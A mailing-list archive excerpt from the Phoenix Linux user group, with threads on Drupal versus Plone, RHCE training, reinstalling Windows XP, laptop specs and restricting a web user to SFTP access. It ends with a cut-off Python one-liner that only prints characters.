sys/cdefs.h Warning - could not find file gnu/stubs.h Warning - could not find file bits/wchar.h Warning - could not find file bits/wordsize.h ... Warning - could not find file sys/socket.h Warning - could not find file bits/types.h ... Warning - could not find file bits/in.h Warning - could not find file bits/endian.h ... *** WARNING: renaming nis since importing it failed: build/lib.linux-i686-2.6/nis.so: undefined symbol: yp_master Failed to find the necessary bits to build these modules: _bsddb _hashlib _sqlite3 _ssl _tkinter bsddb185 bz2dbmgdbm linuxaudiodev ossaudiodevsunaudiodev zlib To find the necessary bits, look in setup.py in detect_modules() for the module's name. Failed to build these modules: crypt nis ... -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: drupal or plone
Some other thoughts about plone from other plone developers...(Again, I know nothing about Drupal) - regarding usage: Plone can be used immediately out-of-the-box (Drupal needs extra configuration after installation before providing any services), and the core features offer a very decent coverage, so you start building an entire web site easily. Plone is very easy to use, no specific knowledge is needed to start producing content, Drupal is most part of time more difficult (let's say Plone is contributor oriented, whereas Drupal is webmaster oriented). I would agree about plone...install it and end users can start creating pages of content right away. I set up a high school newspaper site with plone out of the box, and the students were creating news stories, photo albums, surveys, etc. within a couple of hours. All with the built in workflow, so the school administration could review/approve/reject all content before it was published to the Internet. - regarding admin sys: Plone provides a fully integrated architecture where you can easily deploy clustering, caching, load balancing, etc... whereas Drupal is only a component (actually a set of components providing CMS features) that needs to be integrated in a global architecture. You may not care with a small site, but as it grows or you need these things, they are built in and just have to be turned on in plone. - regarding development: The Plone framework is much more robust and structured, all Plone products respect its standards (and at all levels: component architecture, testability, deployability, CSS classes, JS declaration, internationalization, everything...). Drupal is more unstructured and heterogeneous. There is also a large body of open source Plone products to add new functionality and themes to change the look and feel of the site. Also, some other sources if information from the plone community - http://www.sixfeetup.com/blog/plone-vs.-drupal http://www.sixfeetup.com/blog/plone-vs-drupal-installation http://www.sixfeetup.com/blog/plone-vs.-drupal-core-features-comparison Six Feet Up is a plone developer of long standing and high involved with the development of plone itself. Have fun! Mark On Wed, Jan 25, 2012 at 2:43 AM, James Dugger james.dug...@gmail.comwrote: When I first got into web application development I tried both. Plone was more intimidating to me than Drupal for the following reasons: 1. It was not based on a standard simple AMP Stack. by AMP I mean Apache, MySQL, PHP. 2. I found the web site difficult to find tutorials and help, and the forums for newbies was not user friendly at least for me. 3. I was very new to high level scripting languages and PHP was and still is used more for web applications than Python. 4. By contrast not only did Drupal have easy to find tutorials for the framework but it even has tutorials on learning PHP. 5. There is a lot of information/documentation for modules. This was my experience three years ago. Now before anyone goes crazy on me, since this time I have come to really appreciate the elegance of python code in comparison to PHP, but at the time I new very little about it. I believe that Plone is more extensible a framework than Drupal. But here's a question does Plone have API's or modules to connect/extend it's capabilities with other applications like Alfresco, or Uberecart. I know Plone is very powerful and scalable to very large enterprise level development, But then Drupal, combined with Alfresco, if developed/implemented efficiently can replace, and even convert much of traditional filesytem data such as docs and excel files and place the data in enterprise class CMS. Drupal is very flexible with style templating making it simple to modify/customize a web application to a specific customer. They even have there own take on the CSS Zen Garden. Because of this more web designers are getting into it for ease of site design without coding requirements. Drupal is also easily set up to run multiple sites through a single install. With one installation you can host hundreds of sites as a VSP with minimal up keep. I really should look into Plone again because I am sure it can do most if not all of all I described above. But of all of the communities I have experienced (considering forums, websites, tutorials, wiki's, and number of easy to access free modules) I like Drupal's over Joomla, Word Press, and Plone. To me for open source apps, the apps community is everything. -- James --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:
Re: drupal or plone
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Re: Red Hat Certified Engineer Training
This article on Anki might help you with your studies. https://www.linux.com/learn/tutorials/536896:teach-yourself-with-anki-open-source-flashcards-on-linux Mark On Sat, Jan 21, 2012 at 2:16 PM, Bryan O'Neal bryan.on...@theonealandassociates.com wrote: Wow. That sounds great! However Monday is not enough notice. When will the next round start? On 1/20/12, mike enriquez myli...@cox.net wrote: Check with the Red Hat Academy at Estrella Community College. Monday will be the first day for the review class for the Red Hat exam. The instructor for the class is Randy Larson. With Randy teaching it, it will be a great class to attend for a review. And it will not cost more than the typical Community Rates. Let me know if you need more info and I will try to get it for you. Thanks Mike Enriquez On 01/20/2012 09:56 AM, tho...@redhat.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 01/17/2012 04:35 PM, Lisa Kachold wrote: Where is the best Red Hat Certified Engineer Training here in town? Prices? Schedule? Test dates? http://www.redhat.com/certification/rhce/ You should also probably read through the certification FAQ: http://www.redhat.com/certification/faq/ - -- Thomas Cameron, RHCA, RHCSS, RHCDS, RHCVA, RHCX Chief Architect, Canada and Central US 512-241-0774 office / 512-585-5631 cell http://people.redhat.com/tcameron/ IRC: choirboy / AIM: rhelguy / Yahoo: rhce_guy /Google+ http://ongpl.us/tdc -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk8ZnL0ACgkQmzle50YHwaATbQCfdoVpgHzuArTCIdnxd6Ip+2JB rKIAoLUW1JdKwTtEkMmy2bocMVB4xPfY =Q5h7 -END PGP SIGNATURE- --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Sent from my mobile device --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: drupal or plone
One point - zope/plone may be more secure than drupal. Searching the NVD ( http://web.nvd.nist.gov) for plone and drupal over the last three year, plone had 11 reported vulnerabilities, and drupal had 218. disclaimer - I have never used drupal, so I know nothing about it. I have used zope/plone for a couple of years, and even though it has a steep learning curve, I have found it to be very powerful and fun to use. The plone community is very helpful and courteous. Your question is a little bit like how high is up? The answer depends a lot on the requirements of the project. Please no flame wars on this topicI have no vested interest in either framework. Mark On Tue, Jan 24, 2012 at 10:27 AM, Michael Havens bmi...@gmail.com wrote: I was reading about Drupal on wikipedia. This is a small portion of what it has to say: When compared to three other well-known open source CMS platforms covered by the MITRE CVE database, Drupal ranked second - after Plonehttp://en.wikipedia.org/wiki/Plone_%28software%29but before WordPress http://en.wikipedia.org/wiki/WordPress and Joomlahttp://en.wikipedia.org/wiki/Joomla .[76] http://en.wikipedia.org/wiki/Drupal#cite_note-75 So let's talk about Plone. Why was it ranked ahead of drupal? What is it about? What is the difference between the two? For those of you who have used both why do you prefer the platform you have chosen to go with? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: drupal or plone
Mike, I suggest you get a copy of Professional Plone 4 Development by Martin Aspeli (pakt) and join the plone users group. and follow that book. It takes you from setting up your development environment to creating add on products for Plone. It is very good, but you need a rudimentary knowledge of python. Installing Plone is easyrunning it is easy...simple changes are easydeveloping new functionality takes some time to learn how to do it correctly. Feel free to contact me off list for help. However, there are many more knowledgeable plonistas on the Plone users' group email list. ;) Mark On Tue, Jan 24, 2012 at 11:10 PM, Michael Havens bmi...@gmail.com wrote: I'm checking out plone and I'm trying to download it right now. I need to download some addiitonal stuff too. They want me to d/l imagemagick but it seems to be a windows thing. Is there a linux equivalent that I'm supposed to d/l? On Tue, Jan 24, 2012 at 3:48 PM, keith smith klsmith2...@yahoo.comwrote: I apologize for branching, however, am I reading that you find PHP developers more difficult to work with than python developers? That would be an interesting observation. Keith Smith --- On *Tue, 1/24/12, Stephen cryptwo...@gmail.com* wrote: From: Stephen cryptwo...@gmail.com Subject: Re: drupal or plone To: Main PLUG discussion list plug-discuss@lists.plug.phoenix.az.us Date: Tuesday, January 24, 2012, 2:57 PM The other aspect of things is there seems to be more python friendly folks out there and not as many php friendly, but that is only from my personal experience and may not be accurate outside of my own life. On Tue, Jan 24, 2012 at 10:27 AM, Michael Havens bmi...@gmail.comhttp://mc/compose?to=bmi...@gmail.com wrote: I was reading about Drupal on wikipedia. This is a small portion of what it has to say: When compared to three other well-known open source CMS platforms covered by the MITRE CVE database, Drupal ranked second - after Plone but before WordPress and Joomla.[76] So let's talk about Plone. Why was it ranked ahead of drupal? What is it about? What is the difference between the two? For those of you who have used both why do you prefer the platform you have chosen to go with? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: drupal or plone
Forgot to add - use the unified installer for plone/zope/python from plone.org. Don't use plone from your Linux distribution - it will be too far out of date and many distros put the plone stuff in odd places, so it makes it hard to use the documentation. Mark On Tue, Jan 24, 2012 at 11:54 PM, Mark Phillips m...@phillipsmarketing.bizwrote: Mike, I suggest you get a copy of Professional Plone 4 Development by Martin Aspeli (pakt) and join the plone users group. and follow that book. It takes you from setting up your development environment to creating add on products for Plone. It is very good, but you need a rudimentary knowledge of python. Installing Plone is easyrunning it is easy...simple changes are easydeveloping new functionality takes some time to learn how to do it correctly. Feel free to contact me off list for help. However, there are many more knowledgeable plonistas on the Plone users' group email list. ;) Mark On Tue, Jan 24, 2012 at 11:10 PM, Michael Havens bmi...@gmail.com wrote: I'm checking out plone and I'm trying to download it right now. I need to download some addiitonal stuff too. They want me to d/l imagemagick but it seems to be a windows thing. Is there a linux equivalent that I'm supposed to d/l? On Tue, Jan 24, 2012 at 3:48 PM, keith smith klsmith2...@yahoo.comwrote: I apologize for branching, however, am I reading that you find PHP developers more difficult to work with than python developers? That would be an interesting observation. Keith Smith --- On *Tue, 1/24/12, Stephen cryptwo...@gmail.com* wrote: From: Stephen cryptwo...@gmail.com Subject: Re: drupal or plone To: Main PLUG discussion list plug-discuss@lists.plug.phoenix.az.us Date: Tuesday, January 24, 2012, 2:57 PM The other aspect of things is there seems to be more python friendly folks out there and not as many php friendly, but that is only from my personal experience and may not be accurate outside of my own life. On Tue, Jan 24, 2012 at 10:27 AM, Michael Havens bmi...@gmail.comhttp://mc/compose?to=bmi...@gmail.com wrote: I was reading about Drupal on wikipedia. This is a small portion of what it has to say: When compared to three other well-known open source CMS platforms covered by the MITRE CVE database, Drupal ranked second - after Plone but before WordPress and Joomla.[76] So let's talk about Plone. Why was it ranked ahead of drupal? What is it about? What is the difference between the two? For those of you who have used both why do you prefer the platform you have chosen to go with? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: drupal or plone
I am not sure if what you are doing is related to installing plone. The easiest way to install Plone is to download the unified installer and run that http://launchpad.net/plone/4.1/4.1.3/+download/Plone-4.1.3-UnifiedInstaller.tgzor http://plone.org/products/plone/releases/4.1.3. Mark On Wed, Jan 25, 2012 at 12:07 AM, Michael Havens bmi...@gmail.com wrote: I don't know where I got the idea I needed imagemajic but any ways I'm trying to compile poppler. Well, I type in ./configure and I get an error that there is no package 'fontconfig'. Where do I get this package and do I put it in the poppler folder where the config file is. Or maybe I should put it in /usr so it will be available to everyon. What do you think? On Tue, Jan 24, 2012 at 11:10 PM, Michael Havens bmi...@gmail.com wrote: I'm checking out plone and I'm trying to download it right now. I need to download some addiitonal stuff too. They want me to d/l imagemagick but it seems to be a windows thing. Is there a linux equivalent that I'm supposed to d/l? On Tue, Jan 24, 2012 at 3:48 PM, keith smith klsmith2...@yahoo.comwrote: I apologize for branching, however, am I reading that you find PHP developers more difficult to work with than python developers? he ide i NEEDEThat would be an interesting observation. Keith Smith --- On *Tue, 1/24/12, Stephen cryptwo...@gmail.com* wrote: From: Stephen cryptwo...@gmail.com Subject: Re: drupal or plone To: Main PLUG discussion list plug-discuss@lists.plug.phoenix.az.us Date: Tuesday, January 24, 2012, 2:57 PM The other aspect of things is there seems to be more python friendly folks out there and not as many php friendly, but that is only from my personal experience and may not be accurate outside of my own life. On Tue, Jan 24, 2012 at 10:27 AM, Michael Havens bmi...@gmail.comhttp://mc/compose?to=bmi...@gmail.com wrote: I was reading about Drupal on wikipedia. This is a small portion of what it has to say: When compared to three other well-known open source CMS platforms covered by the MITRE CVE database, Drupal ranked second - after Plone but before WordPress and Joomla.[76] So let's talk about Plone. Why was it ranked ahead of drupal? What is it about? What is the difference between the two? For those of you who have used both why do you prefer the platform you have chosen to go with? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.ushttp://mc/compose?to=PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
OT - Windows XP Installation CD
I have an old Dell server running Windows XP Pro, which has gotten so slow that my best plan is to wipe it and re-install. I have the license tag on the box but no CDs to install. The machine use to be a gaming machine for my kids when they were younger, and they moved on to only needing iTunes. Does anyone have a Windows XP Pro CD I can borrow? Can I download it from somewhere on the net? I assume this is legal, as I have the license, just not the media. Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: OT - Windows XP Installation CD
On Sun, Jan 1, 2012 at 12:12 PM, Lisa Kachold lisakach...@obnosis.comwrote: There are tons of sights with links to XP source: http://www.metacafe.com/watch/491686/installing_windows_xp_pro_including_free_legal_key/ The site appears to be deadI just get a blank page Be sure to get your key off your system: http://pcsupport.about.com/od/tipstricks/ht/findxpkey.htm Hard to miss the bright shiny tag on the top of the box! ;) http://pcsupport.about.com/od/windowsxp/f/download-windows-xp.htm I found that site early on in my search. All it says is there are tons of sites with Windows downloads..., but no links, and then it says to buy a new copy from MS. All of the referenced download links are, of course, illegal therefore possibly warez sites with spam, trojans, virus, etc. Try to find someone with a DVD? That was the point of my email. [I have one, but I am not going to supply the use of it to anyone on a Linux list and I can't get it to you with my current schedule..] You should not need to use Windows for anything! One has to use Windows or MacOS for iTunes and Windows for many Windows games. Wine does not always work, and it does not work for iTunes. Happy New Year! Mark On Sun, Jan 1, 2012 at 11:57 AM, Mark Phillips m...@phillipsmarketing.biz wrote: I have an old Dell server running Windows XP Pro, which has gotten so slow that my best plan is to wipe it and re-install. I have the license tag on the box but no CDs to install. The machine use to be a gaming machine for my kids when they were younger, and they moved on to only needing iTunes. Does anyone have a Windows XP Pro CD I can borrow? Can I download it from somewhere on the net? I assume this is legal, as I have the license, just not the media. Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- (602) 791-8002 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** HomeSmartInternational.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: OT - Windows XP Installation CD
On Sun, Jan 1, 2012 at 12:39 PM, Matt Graham danceswithcr...@usa.netwrote: From: Lisa Kachold lisakach...@obnosis.com Try to find someone with a DVD? This'd probably be the best bet if possible. You should not need to use Windows for anything! Real-world considerations mean that people sometimes HAVE to use Windows. The VPN at my work doesn't allow Linux users to connect to it. They *could* allow Linux users to connect, but the people in charge of the VPN say that's a security risk, and they won't consider it. If I need/want to work remotely, my only option is a Windows machine. (Getting smarter people in charge of the VPN is not an option, sadly.) Also, what about games? You may not play games, but lots of games only run on Windows. Mark Philips wrote: One has to use Windows or MacOS for iTunes gtkpod should work for managing the music/video/whatever on almost all iPods, and it's cross-platform. Buying stuff via the Apple store may require iTunes itself--I don't know since I've never wanted to buy stuff from there. Sadly, teenage daughters want to buy LOTS of music on iTunes, so it is a requirement for living in our modern age..and I am out numbered 4 to 1! Managing music is secondary.access to new music is the primary need for iTunes. However, YouTube has helped ameliorate the cost of this addiction somewhat. Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: OT - Windows XP Installation CD
Stephen, There is a bright shiny Windows XP Pro license tag stuck on the top of the machine. Where and when can we meet (dark alley, late at night, preferably in the rain and no full moonneed to be safe from the MS Police) to pick up the disk? From what I have been reading online (may not be accurate), but back around 2007 the license was restricted to the machine and not the media (MS was forced to accede this point by the courts). Hence, all the shiny license tags on (at least) Dell machines. I have successfully installed XP/2000/Windows 7 from vanilla media as long as the machine has a shiny license tag for the appropriate OS. Mark On Sun, Jan 1, 2012 at 12:14 PM, Stephen cryptwo...@gmail.com wrote: Technically The XP licence should be CD+Key+Manual, In the case of Dell they have their own Installer. If the System has a key on it then i actually have an XP pro cd you can use to restore your install. alternatively you can order a replacement cd from Dell. but it may cost something like 20 bux On Sun, Jan 1, 2012 at 12:12 PM, Lisa Kachold lisakach...@obnosis.com wrote: There are tons of sights with links to XP source: http://www.metacafe.com/watch/491686/installing_windows_xp_pro_including_free_legal_key/ Be sure to get your key off your system: http://pcsupport.about.com/od/tipstricks/ht/findxpkey.htm http://pcsupport.about.com/od/windowsxp/f/download-windows-xp.htm All of the referenced download links are, of course, illegal therefore possibly warez sites with spam, trojans, virus, etc. Try to find someone with a DVD? [I have one, but I am not going to supply the use of it to anyone on a Linux list and I can't get it to you with my current schedule..] You should not need to use Windows for anything! On Sun, Jan 1, 2012 at 11:57 AM, Mark Phillips m...@phillipsmarketing.biz wrote: I have an old Dell server running Windows XP Pro, which has gotten so slow that my best plan is to wipe it and re-install. I have the license tag on the box but no CDs to install. The machine use to be a gaming machine for my kids when they were younger, and they moved on to only needing iTunes. Does anyone have a Windows XP Pro CD I can borrow? Can I download it from somewhere on the net? I assume this is legal, as I have the license, just not the media. Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- (602) 791-8002 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** HomeSmartInternational.com --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Looking for Laptop Recommendations
My daughter needs a new laptop for high school. It needs to run Debian or Ubunrtu and have enough horsepower to run Windows XP in VMware Player for iTunes. A refurbished machine is OK. I am mostly interested in what you would recommend as minimum hardware specs (processor 7 RAM) for this configuration. Also, if you have another suggestion for running Linux and iTunes, I am all ears! ;) Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: How to Restrict a User's Access Using SFTP?
Eric, The Debian equivalent to /sbin/nologin appears to be /bin/false. When I tried that, I could not sftp or ssh or gain access to the machine in anyway. I am not sure if there is another Debian shell that allows sftp but not ssh. Thanks! Mark On Wed, Dec 28, 2011 at 9:54 PM, Eric Shubert e...@shubes.net wrote: That should be ok. Be sure you have your ftp server configured such that they cannot access folders above/across their home folder. File permissions may handle this, but probably will not (many things are world readable). Also, be sure that they cannot login to a command prompt by setting their login shell to /sbin/nologin (might vary with distro). This is commonly done for service accounts (apache, etc). On 12/28/2011 03:38 PM, Mark Phillips wrote: Thanks to everyone for their suggestions. Based on some constraints, your advice, some googling, I arrived at this set-up, but I am not sure how secure it is. 1. The web creation software (iWeb on a Mac) only supports ftp and sftp to upload a site. 2. iWeb does not support the use of versions for the web pages. By that I mean iWeb is strictly one way - create a site and publish it. It cannot import an iWeb site, it has to start at the beginning. One can create a site and publish it, then edit the site, and publish again, but it cannot import or use a previous version of the site as a starting point. (I mention this because Eric suggested using git, which sounded like a great idea, but alas I have this setup, but I could use some advice on how to make it more secure 1. User account fred 2. fred's home is /var/www/domain/fred 3. /var/www/domain/fred has owner:group fred:fred 4. Document root is /var/www/domain/fred Thanks, Mark On Wed, Dec 28, 2011 at 10:26 AM, Eric Shubert e...@shubes.net mailto:e...@shubes.net wrote: On 12/27/2011 10:46 PM, Mark Phillips wrote: I need to give a user access to my web server via sftp to upload web site changes. What is the best way to do this? I have several other sites on the same server, so I want to prevent them or anyone else who gains access to their account from being able to make changes to those sites or other parts of the server. Thanks, Mark I use vsftp, which can be configured to allow users access only to their web site's tree. sftp might be able to do the same. Then, create their user such that their home directory is their web site's directory, and they cannot log in to the system (only vsftp) with an /etc/passwd entry like this: vsftpuser:x:511:511::/var/__**vhosts/domain.com/docs:/sbin/_**_nologinhttp://domain.com/docs:/sbin/__nologin http://domain.com/docs:/sbin/**nologinhttp://domain.com/docs:/sbin/nologin Files in their web site are owned by their user, with read permissions for 'other' (o+r), which allows apache (or nginx) to read them. -- -Eric 'shubes' --**__- PLUG-discuss mailing list - plug-disc...@lists.plug.__phoe**nix.az.ushttp://phoenix.az.us mailto:PLUG-discuss@lists.**plug.phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az._**_us/mailman/listinfo/plug-__**discuss http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- -Eric 'shubes' --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: How to Restrict a User's Access Using SFTP?
Ben
Thanks - that worked very well and looks very secure.
Which method is more secure/the right way to set up users with web
publishing rights -
a. create a link from a user's directory to a document root at
/var/www/domain/user
b. change document root to /home/user/www/site
Mark
On Thu, Dec 29, 2011 at 12:37 AM, azlobo73 azlob...@gmail.com wrote:
Sorry - built-in OpenSSH chroot functionality
On Thu, Dec 29, 2011 at 12:36 AM, azlobo73 azlob...@gmail.com wrote:
If you can either relocate the vhost or the user home directory, then
this might be of some help, which explains using built-in chroot
functionality with sftp access to restrict access and visibility:
http://www.debian-administration.org/articles/590
Ben
On Wed, Dec 28, 2011 at 9:54 PM, Eric Shubert e...@shubes.net wrote:
That should be ok.
Be sure you have your ftp server configured such that they cannot access
folders above/across their home folder. File permissions may handle this,
but probably will not (many things are world readable).
Also, be sure that they cannot login to a command prompt by setting
their login shell to /sbin/nologin (might vary with distro). This is
commonly done for service accounts (apache, etc).
On 12/28/2011 03:38 PM, Mark Phillips wrote:
Thanks to everyone for their suggestions. Based on some constraints,
your advice, some googling, I arrived at this set-up, but I am not sure
how secure it is.
1. The web creation software (iWeb on a Mac) only supports ftp and sftp
to upload a site.
2. iWeb does not support the use of versions for the web pages. By
that I mean iWeb is strictly one way - create a site and publish it. It
cannot import an iWeb site, it has to start at the beginning. One can
create a site and publish it, then edit the site, and publish again, but
it cannot import or use a previous version of the site as a starting
point. (I mention this because Eric suggested using git, which sounded
like a great idea, but alas
I have this setup, but I could use some advice on how to make it more
secure
1. User account fred
2. fred's home is /var/www/domain/fred
3. /var/www/domain/fred has owner:group fred:fred
4. Document root is /var/www/domain/fred
Thanks,
Mark
On Wed, Dec 28, 2011 at 10:26 AM, Eric Shubert e...@shubes.net
mailto:e...@shubes.net wrote:
On 12/27/2011 10:46 PM, Mark Phillips wrote:
I need to give a user access to my web server via sftp to upload
web
site changes. What is the best way to do this? I have several
other
sites on the same server, so I want to prevent them or anyone
else who
gains access to their account from being able to make changes to
those
sites or other parts of the server.
Thanks,
Mark
I use vsftp, which can be configured to allow users access only to
their web site's tree. sftp might be able to do the same.
Then, create their user such that their home directory is their web
site's directory, and they cannot log in to the system (only vsftp)
with an /etc/passwd entry like this:
vsftpuser:x:511:511::/var/__**vhosts/domain.com/docs:/sbin/_**
_nologin http://domain.com/docs:/sbin/__nologin
http://domain.com/docs:/sbin/**nologinhttp://domain.com/docs:/sbin/nologin
Files in their web site are owned by their user, with read
permissions for 'other' (o+r), which allows apache (or nginx) to
read them.
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python -c exec(\import math\\nprint ''.join(map(lambda x: chr(x), (
(ord('a')-(3*5)), int(math.sqrt(math.pi*76)*5+2),
int(math.ceil(math.e)*28), int(math.floor(math.e)*35),
long(abs(4%3*35+3)*2\)**
